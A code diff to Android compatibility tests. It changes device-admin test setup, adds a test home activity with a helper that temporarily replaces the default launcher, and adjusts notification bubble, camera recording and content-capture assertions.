--- a/hostsidetests/theme/assets/Sv2/mdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/tvdpi.zip b/hostsidetests/theme/assets/Sv2/tvdpi.zip
deleted file mode 100644
index bd4bf75..0000000
--- a/hostsidetests/theme/assets/Sv2/tvdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/xhdpi.zip b/hostsidetests/theme/assets/Sv2/xhdpi.zip
deleted file mode 100644
index 0dd72e2..0000000
--- a/hostsidetests/theme/assets/Sv2/xhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/xxhdpi.zip b/hostsidetests/theme/assets/Sv2/xxhdpi.zip
deleted file mode 100644
index 64fc846..0000000
--- a/hostsidetests/theme/assets/Sv2/xxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/theme/assets/Sv2/xxxhdpi.zip b/hostsidetests/theme/assets/Sv2/xxxhdpi.zip
deleted file mode 100644
index 87beb9a..0000000
--- a/hostsidetests/theme/assets/Sv2/xxxhdpi.zip
+++ /dev/null
Binary files differ
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index d77b46d..e55fa89 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -42,6 +42,13 @@
         <option name="teardown-command" value="dpm remove-active-admin --user cur android.admin.app/.CtsDeviceAdminReceiver3" />
     </target_preparer>
 
+    <!-- TODO(b/205178429): Must set otherwise it would fail on headless system user as it tests
+    some APIs that can only be called by system user -->
+    <!--   -->
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.admin.cts" />
         <option name="runtime-hint" value="17m" />
diff --git a/tests/admin/OWNERS b/tests/admin/OWNERS
index 58d02a3..dfbd645 100644
--- a/tests/admin/OWNERS
+++ b/tests/admin/OWNERS
@@ -1,9 +1,2 @@
 # Bug component: 100560
-sandness@google.com
-rubinxu@google.com
-eranm@google.com
-kholoudm@google.com
-pgrafov@google.com
-alexkershaw@google.com
-arangelov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index efaa752..236523c 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -44,7 +44,6 @@
 import com.android.bedstead.nene.exceptions.AdbException;
 import com.android.bedstead.nene.utils.ShellCommand;
 import com.android.bedstead.nene.utils.ShellCommandUtils;
-import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.ByteArrayInputStream;
 import java.security.cert.Certificate;
@@ -90,8 +89,6 @@
             "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n" +
             "-----END CERTIFICATE-----";
 
-    private static final String MANAGED_PROVISIONING_PKG = "com.android.managedprovisioning";
-
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -799,16 +796,6 @@
         fail("No system launcher with version L+ present present on device.");
     }
 
-    /**
-     * Test that managed provisioning is pre-installed if the device declares the device admin
-     * feature.
-     */
-    public void testManagedProvisioningPreInstalled() throws Exception {
-        if (mDeviceAdmin) {
-            assertTrue(isPackageInstalledOnSystemImage(MANAGED_PROVISIONING_PKG));
-        }
-    }
-
     private void assertDeviceOwnerMessage(String message) {
         assertTrue("message is: "+ message, message.contains("does not own the device")
                 || message.contains("can only be called by the device owner")
@@ -874,16 +861,6 @@
         }
     }
 
-    private boolean isPackageInstalledOnSystemImage(String packagename) {
-        try {
-            ApplicationInfo info = mPackageManager.getApplicationInfo(packagename,
-                    0 /* default flags */);
-            return (info.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
-        } catch (NameNotFoundException e) {
-            return false;
-        }
-    }
-
     public void testReboot_failIfNotDeviceOwner() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testReboot_failIfNotDeviceOwner");
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 1adf9b4..737dfaa 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -536,7 +536,22 @@
                  android:resource="@xml/shortcuts"/>
         </activity>
 
-        <service android:name="android.app.stubs.TrimMemService"
+        <!-- Disable home activities by default or it may disturb other tests by
+                showing ResolverActivity when start home activity.
+             Set the task affinity to empty not to group with the other Activities in this app. -->
+        <activity
+            android:name="android.app.stubs.TestHomeActivity"
+            android:enabled="false"
+            android:taskAffinity=""
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.HOME" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+    <service android:name="android.app.stubs.TrimMemService"
             android:exported="true"
             android:isolatedProcess="true">
         </service>
diff --git a/tests/app/app/src/android/app/stubs/TestHomeActivity.java b/tests/app/app/src/android/app/stubs/TestHomeActivity.java
new file mode 100644
index 0000000..340494a
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/TestHomeActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+
+public class TestHomeActivity extends Activity {
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 54eae98..770d305 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -21,6 +21,13 @@
 import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_LOW;
 import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_MODERATE;
 import static android.content.ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN;
+import static android.content.Intent.ACTION_MAIN;
+import static android.content.Intent.CATEGORY_HOME;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED;
+import static android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED;
+import static android.content.pm.PackageManager.DONT_KILL_APP;
+import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
 
 import static org.junit.Assert.assertArrayEquals;
 
@@ -36,6 +43,7 @@
 import android.app.Instrumentation.ActivityMonitor;
 import android.app.Instrumentation.ActivityResult;
 import android.app.PendingIntent;
+import android.app.TaskInfo;
 import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.app.stubs.ActivityManagerRecentOneActivity;
 import android.app.stubs.ActivityManagerRecentTwoActivity;
@@ -44,8 +52,10 @@
 import android.app.stubs.MockApplicationActivity;
 import android.app.stubs.MockService;
 import android.app.stubs.ScreenOnActivity;
+import android.app.stubs.TestHomeActivity;
 import android.app.stubs.TrimMemService;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -53,6 +63,7 @@
 import android.content.pm.ApplicationInfo;
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.content.res.Resources;
 import android.os.Binder;
 import android.os.Bundle;
@@ -143,6 +154,7 @@
     private List<Activity> mStartedActivityList;
     private int mErrorProcessID;
     private Instrumentation mInstrumentation;
+    private HomeActivitySession mTestHomeSession;
 
     @Override
     protected void setUp() throws Exception {
@@ -160,6 +172,9 @@
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
+        if (mTestHomeSession != null) {
+            mTestHomeSession.close();
+        }
         if (mIntent != null) {
             mInstrumentation.getContext().stopService(mIntent);
         }
@@ -196,19 +211,10 @@
          * than the index of recent1_activity
          */
         recentTaskList = mActivityManager.getRecentTasks(maxNum, flags);
-        int indexRecentOne = -1;
-        int indexRecentTwo = -1;
-        int i = 0;
-        for (RecentTaskInfo rti : recentTaskList) {
-            if (rti.baseIntent.getComponent().getClassName().equals(
-                    ActivityManagerRecentOneActivity.class.getName())) {
-                indexRecentOne = i;
-            } else if (rti.baseIntent.getComponent().getClassName().equals(
-                    ActivityManagerRecentTwoActivity.class.getName())) {
-                indexRecentTwo = i;
-            }
-            i++;
-        }
+        int indexRecentOne = getTaskInfoIndex(recentTaskList,
+                ActivityManagerRecentOneActivity.class);
+        int indexRecentTwo = getTaskInfoIndex(recentTaskList,
+                ActivityManagerRecentTwoActivity.class);
         assertTrue(indexRecentOne != -1 && indexRecentTwo != -1);
         assertTrue(indexRecentTwo < indexRecentOne);
 
@@ -306,6 +312,18 @@
         mStartedActivityList.add(monitor.waitForActivity());
     }
 
+    private <T extends TaskInfo, S extends Activity> int getTaskInfoIndex(List<T> taskList,
+            Class<S> activityClass) {
+        int i = 0;
+        for (TaskInfo ti : taskList) {
+            if (ti.baseActivity.getClassName().equals(activityClass.getName())) {
+                return i;
+            }
+            i++;
+        }
+        return -1;
+    }
+
     public void testGetRunningTasks() {
         // Test illegal parameter
         List<RunningTaskInfo> runningTaskList;
@@ -321,30 +339,36 @@
 
         // start recent1_activity.
         startSubActivity(ActivityManagerRecentOneActivity.class);
-        // start recent2_activity
+
+        runningTaskList = mActivityManager.getRunningTasks(20);
+
+        // assert only recent1_activity exists and is visible.
+        int indexRecentOne = getTaskInfoIndex(runningTaskList,
+                ActivityManagerRecentOneActivity.class);
+        int indexRecentTwo = getTaskInfoIndex(runningTaskList,
+                ActivityManagerRecentTwoActivity.class);
+        assertTrue(indexRecentOne != -1 && indexRecentTwo == -1);
+        assertTrue(runningTaskList.get(indexRecentOne).isVisible());
+
+        // start recent2_activity.
         startSubActivity(ActivityManagerRecentTwoActivity.class);
 
         /*
          * assert both recent1_activity and recent2_activity exist in the
          * running tasks list. Moreover,the index of the recent2_activity is
-         * smaller than the index of recent1_activity
+         * smaller than the index of recent1_activity.
          */
         runningTaskList = mActivityManager.getRunningTasks(20);
-        int indexRecentOne = -1;
-        int indexRecentTwo = -1;
-        int i = 0;
-        for (RunningTaskInfo rti : runningTaskList) {
-            if (rti.baseActivity.getClassName().equals(
-                    ActivityManagerRecentOneActivity.class.getName())) {
-                indexRecentOne = i;
-            } else if (rti.baseActivity.getClassName().equals(
-                    ActivityManagerRecentTwoActivity.class.getName())) {
-                indexRecentTwo = i;
-            }
-            i++;
-        }
+        indexRecentOne = getTaskInfoIndex(runningTaskList,
+                ActivityManagerRecentOneActivity.class);
+        indexRecentTwo = getTaskInfoIndex(runningTaskList,
+                ActivityManagerRecentTwoActivity.class);
         assertTrue(indexRecentOne != -1 && indexRecentTwo != -1);
         assertTrue(indexRecentTwo < indexRecentOne);
+
+        // assert only recent2_activity is visible.
+        assertFalse(runningTaskList.get(indexRecentOne).isVisible());
+        assertTrue(runningTaskList.get(indexRecentTwo).isVisible());
     }
 
     public void testGetRunningServices() throws Exception {
@@ -583,6 +607,7 @@
      * Verify that the TimeTrackingAPI works properly when starting and ending an activity.
      */
     public void testTimeTrackingAPI_SimpleStartExit() throws Exception {
+        createManagedHomeActivitySession();
         launchHome();
         // Prepare to start an activity from another APK.
         Intent intent = new Intent(Intent.ACTION_MAIN);
@@ -669,6 +694,7 @@
      * Verify that the TimeTrackingAPI works properly when switching away from the monitored task.
      */
     public void testTimeTrackingAPI_SwitchAwayTriggers() throws Exception {
+        createManagedHomeActivitySession();
         launchHome();
 
         // Prepare to start an activity from another APK.
@@ -717,6 +743,7 @@
      * and ended.
      */
     public void testTimeTrackingAPI_ChainedActivityExit() throws Exception {
+        createManagedHomeActivitySession();
         launchHome();
         // Prepare to start an activity from another APK.
         Intent intent = new Intent(Intent.ACTION_MAIN);
@@ -1756,4 +1783,63 @@
         } while (!(result = supplier.get()) && SystemClock.uptimeMillis() < deadLine);
         return result;
     }
+
+    private void createManagedHomeActivitySession()
+            throws Exception {
+        if (noHomeScreen()) return;
+        ComponentName homeActivity = new ComponentName(
+                STUB_PACKAGE_NAME, TestHomeActivity.class.getName());
+        mTestHomeSession = new HomeActivitySession(homeActivity);
+    }
+
+    /**
+     * HomeActivitySession is used to replace the default home component, so that you can use
+     * your preferred home for testing within the session. The original default home will be
+     * restored automatically afterward.
+     */
+    private class HomeActivitySession {
+        private PackageManager mPackageManager;
+        private ComponentName mOrigHome;
+        private ComponentName mSessionHome;
+
+        HomeActivitySession(ComponentName sessionHome) throws Exception {
+            mSessionHome = sessionHome;
+            mPackageManager = mInstrumentation.getContext().getPackageManager();
+            mOrigHome = getDefaultHomeComponent();
+
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
+                            COMPONENT_ENABLED_STATE_ENABLED, DONT_KILL_APP));
+            setDefaultHome(mSessionHome);
+        }
+
+        public void close() throws Exception {
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> mPackageManager.setComponentEnabledSetting(mSessionHome,
+                            COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP));
+            if (mOrigHome != null) {
+                setDefaultHome(mOrigHome);
+                mOrigHome = null;
+            }
+        }
+
+        private void setDefaultHome(ComponentName componentName) throws Exception {
+            executeShellCommand("cmd package set-home-activity --user "
+                    + android.os.Process.myUserHandle().getIdentifier() + " "
+                    + componentName.flattenToString());
+        }
+
+        private ComponentName getDefaultHomeComponent() {
+            final Intent intent = new Intent(ACTION_MAIN);
+            intent.addCategory(CATEGORY_HOME);
+            intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+            final ResolveInfo resolveInfo = mInstrumentation.getContext()
+                    .getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
+            if (resolveInfo == null) {
+                throw new AssertionError("Home activity not found");
+            }
+            return new ComponentName(resolveInfo.activityInfo.packageName,
+                    resolveInfo.activityInfo.name);
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index d53a952..928be03 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -3843,6 +3843,7 @@
                     true /* suppressBubble */);
 
             verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Prep to find bubbled activity
             Class clazz = BubbledActivity.class;
@@ -3863,6 +3864,7 @@
 
             // notif gets posted with update, so wait
             verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Bubble should have suppressed flag
             StatusBarNotification sbn = findPostedNotification(notifId, true);
@@ -3898,6 +3900,7 @@
                     false /* suppressBubble */);
 
             verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Prep to find bubbled activity
             Class clazz = BubbledActivity.class;
@@ -3916,8 +3919,12 @@
             assertEquals(new LocusId(String.valueOf(BUBBLE_NOTIF_ID)),
                     activity.getLocusId());
 
-            // notif gets posted with update, so wait
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException ex) {
+            }
+            assertTrue(mListener.mPosted.isEmpty());
 
             // Bubble should not be suppressed
             StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -3953,6 +3960,7 @@
                     true /* suppressBubble */);
 
             verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Prep to find bubbled activity
             Class clazz = BubbledActivity.class;
@@ -3970,8 +3978,12 @@
             // It shouldn't have the locusId
             assertNull(activity.getLocusId());
 
-            // notif gets posted with update, so wait
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException ex) {
+            }
+            assertTrue(mListener.mPosted.isEmpty());
 
             // Bubble should not be suppressed
             StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -4009,6 +4021,7 @@
                     false /* setLocusId */);
 
             verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Prep to find bubbled activity
             Class clazz = BubbledActivity.class;
@@ -4026,8 +4039,12 @@
             // Activity has the locus
             assertNotNull(activity.getLocusId());
 
-            // notif gets posted with update, so wait
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+            // Wait a little (if it wrongly updates it'd be a new post so wait for that))
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException ex) {
+            }
+            assertTrue(mListener.mPosted.isEmpty());
 
             // Bubble should not be suppressed & not have a locusId
             StatusBarNotification sbn = findPostedNotification(BUBBLE_NOTIF_ID, true);
@@ -4066,6 +4083,7 @@
                     true /* suppressBubble */);
 
             verifyNotificationBubbleState(notifId, true);
+            mListener.resetData();
 
             StatusBarNotification sbn = findPostedNotification(notifId, true);
             assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
@@ -4090,6 +4108,7 @@
 
             // notif gets posted with update, so wait
             verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+            mListener.resetData();
 
             // Bubble should have suppressed flag
             sbn = findPostedNotification(notifId, true);
@@ -4100,6 +4119,7 @@
 
             // notif gets posted with update, so wait
             verifyNotificationBubbleState(notifId, true /* shouldBeBubble */);
+            mListener.resetData();
 
             sbn = findPostedNotification(notifId, true);
             assertTrue(sbn.getNotification().getBubbleMetadata().isBubbleSuppressable());
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 4e3a7a5..f1e039d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -397,7 +397,7 @@
         mUiBot.assertSuggestion("Username" + firstDataset);
 
         // Scroll the suggestion view
-        mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 5000);
+        mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 3000);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertNoSuggestion("Username" + firstDataset);
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index db1f9a2..774477d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1367,13 +1367,16 @@
      * Initialize the supported video sizes.
      */
     private void initSupportedVideoSize(String cameraId)  throws Exception {
-        Size maxVideoSize = SIZE_BOUND_1080P;
-        if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_2160P)) {
+        int id = Integer.valueOf(cameraId);
+        Size maxVideoSize = SIZE_BOUND_720P;
+        if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_2160P)) {
             maxVideoSize = SIZE_BOUND_2160P;
-        } else if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_QHD)) {
+        } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_QHD)) {
             maxVideoSize = SIZE_BOUND_QHD;
-        } else if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_2K)) {
+        } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_2K)) {
             maxVideoSize = SIZE_BOUND_2K;
+        } else if (CamcorderProfile.hasProfile(id, CamcorderProfile.QUALITY_1080P)) {
+            maxVideoSize = SIZE_BOUND_1080P;
         }
 
         mSupportedVideoSizes =
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 8f5a7b7..cfc857e 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -104,6 +104,7 @@
     private static final String TAG = "CameraTestUtils";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
     private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+    public static final Size SIZE_BOUND_720P = new Size(1280, 720);
     public static final Size SIZE_BOUND_1080P = new Size(1920, 1088);
     public static final Size SIZE_BOUND_2K = new Size(2048, 1088);
     public static final Size SIZE_BOUND_QHD = new Size(2560, 1440);
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
index 5025762..ef10de5 100644
--- a/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
@@ -16,9 +16,19 @@
 package android.contentcaptureservice.cts2;
 
 import android.app.Activity;
+import android.os.Handler;
+import android.os.Looper;
 
 /**
  * This activity is used to test temporary Content Capture Service interactions with activities
  * outside of its own package. It is intentionally empty.
  */
-public class OutsideOfPackageActivity extends Activity { }
+public class OutsideOfPackageActivity extends Activity {
+
+    @Override
+    public void onAttachedToWindow() {
+        super.onAttachedToWindow();
+        // finish activity after displayed.
+        new Handler(Looper.getMainLooper()).post(() -> finish());
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
index f340e2c..4a32dad 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -49,7 +49,9 @@
 
 import com.android.compatibility.common.util.RetryableException;
 
+import java.util.Collections;
 import java.util.List;
+import java.util.stream.Collectors;
 
 /**
  * Helper for common assertions.
@@ -267,7 +269,7 @@
         assertWithMessage("event %s (index %s) should not have a ViewNode", event, index)
                 .that(event.getViewNode()).isNull();
         assertWithMessage("event %s (index %s) should not have text", event, index)
-                .that(event.getViewNode()).isNull();
+                .that(event.getText()).isNull();
         assertWithMessage("event %s (index %s) should not have an autofillId", event, index)
                 .that(event.getId()).isNull();
         assertWithMessage("event %s (index %s) should not have autofillIds", event, index)
@@ -297,7 +299,7 @@
     public static void assertNoViewLevelEvents(@NonNull Session session,
             @NonNull AbstractContentCaptureActivity activity) {
         assertRightActivity(session, session.id, activity);
-        final List<ContentCaptureEvent> events = session.getEvents();
+        final List<ContentCaptureEvent> events = removeBoundsAndInsetsEvents(session.getEvents());
         Log.v(TAG, "events on " + activity + ": " + events);
         assertThat(events).hasSize(2);
         assertSessionResumed(events, 0);
@@ -305,6 +307,24 @@
     }
 
     /**
+     * This method is used to remove Bounds and Insets changed events if the test should only
+     * contain session level events.
+     * In special case, there are some events, such as {@link #TYPE_WINDOW_BOUNDS_CHANGED}
+     * and {@link #TYPE_VIEW_INSETS_CHANGED}, will be accidentally generated by
+     * the system. Because these events were not expected in the test, remove
+     * them if needed.
+     */
+    public static List<ContentCaptureEvent> removeBoundsAndInsetsEvents(
+            @NonNull List<ContentCaptureEvent> events) {
+        return Collections.unmodifiableList(events).stream().filter(
+                e -> e.getType() != TYPE_WINDOW_BOUNDS_CHANGED
+                        && e.getType() != TYPE_VIEW_INSETS_CHANGED
+                        && e.getType() != TYPE_VIEW_TREE_APPEARING
+                        && e.getType() != TYPE_VIEW_TREE_APPEARED
+        ).collect(Collectors.toList());
+    }
+
+    /**
      * Asserts that a session for the given activity has events at all.
      */
     public static void assertNoEvents(@NonNull Session session,
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
index 81198f7..891aefa 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankWithTitleActivity.java
@@ -15,23 +15,13 @@
  */
 package android.contentcaptureservice.cts;
 
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
-import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
-import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
-import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
-import static android.contentcaptureservice.cts.Assertions.assertViewsOptionallyDisappeared;
-
-import static com.google.common.truth.Truth.assertThat;
 
 import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
 import android.util.Log;
 import android.view.View;
 import android.view.contentcapture.ContentCaptureEvent;
 import android.view.contentcapture.ContentCaptureSessionId;
-import android.view.contentcapture.ViewNode;
 
 import androidx.annotation.NonNull;
 
@@ -51,20 +41,13 @@
         final List<ContentCaptureEvent> events = session.getEvents();
         Log.v(TAG, "events(" + events.size() + "): " + events);
 
-        final int minEvents = 9; // TODO(b/122315042): disappeared not always sent
-        assertThat(events.size()).isAtLeast(minEvents);
-
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertDecorViewAppeared(events, 2, decorView);
-        // TODO(b/123540067): ignoring 3 intermediate parents
-        final ViewNode title = assertViewAppeared(events, 6).getViewNode();
-        assertThat(title.getText()).isEqualTo("Blanka");
-        assertViewTreeFinished(events, 7);
-        assertSessionPaused(events, 8);
-        if (false) { // TODO(b/123540067): disabled because it includes the parent
-            assertViewsOptionallyDisappeared(events, minEvents, decorView.getAutofillId(),
-                    title.getAutofillId());
-        }
+        new EventsAssertor(events)
+                .isAtLeast(9)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertDecorViewAppeared(decorView)
+                .assertViewAppeared("Blanka")
+                .assertViewTreeFinished()
+                .assertSessionPaused();
     }
 }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
index 5beb910..41c01ba 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
@@ -18,7 +18,6 @@
 import static android.contentcaptureservice.cts.Assertions.LifecycleOrder.CREATION;
 import static android.contentcaptureservice.cts.Assertions.LifecycleOrder.DESTRUCTION;
 import static android.contentcaptureservice.cts.Assertions.assertChildSessionContext;
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertLifecycleOrder;
 import static android.contentcaptureservice.cts.Assertions.assertMainSessionContext;
 import static android.contentcaptureservice.cts.Assertions.assertNoViewLevelEvents;
@@ -30,6 +29,7 @@
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
 import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
 import static android.contentcaptureservice.cts.Assertions.assertViewsDisappeared;
+import static android.contentcaptureservice.cts.Assertions.removeBoundsAndInsetsEvents;
 import static android.contentcaptureservice.cts.Helper.newImportantView;
 import static android.contentcaptureservice.cts.Helper.sContext;
 
@@ -177,7 +177,6 @@
         activity2.assertDefaultEvents(session2);
     }
 
-
     @Test
     public void testLaunchAnotherActivity_onTopOfIt() throws Exception {
         final CtsContentCaptureService service = enableService();
@@ -208,10 +207,8 @@
             .activityResumed(name1)
             .activityPaused(name1)
             .activityResumed(name2)
-            .activityStopped(name1)
             .activityPaused(name2)
             .activityResumed(name1)
-            .activityDestroyed(name2)
             .activityPaused(name1);
 
         // Assert the sessions
@@ -223,7 +220,7 @@
         Log.v(TAG, "session id2: " + sessionId2);
 
         final Session session1 = service.getFinishedSession(sessionId1);
-        final List<ContentCaptureEvent> events1 = session1.getEvents();
+        final List<ContentCaptureEvent> events1 = removeBoundsAndInsetsEvents(session1.getEvents());
         Log.v(TAG, "events on " + activity1 + ": " + events1);
         assertThat(events1).hasSize(4);
         assertSessionResumed(events1, 0);
@@ -314,20 +311,20 @@
         final View grandpa2 = activity.getGrandGrandParent();
         final View decorView = activity.getDecorView();
 
-        // Assert just the relevant events
-        assertThat(events.size()).isAtLeast(12);
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertDecorViewAppeared(events, 2, decorView);
-        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
-        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
-        assertViewAppeared(events, 5, sessionId, rootView, grandpa1.getAutofillId());
-        assertViewAppeared(events, 6, sessionId, child, rootId);
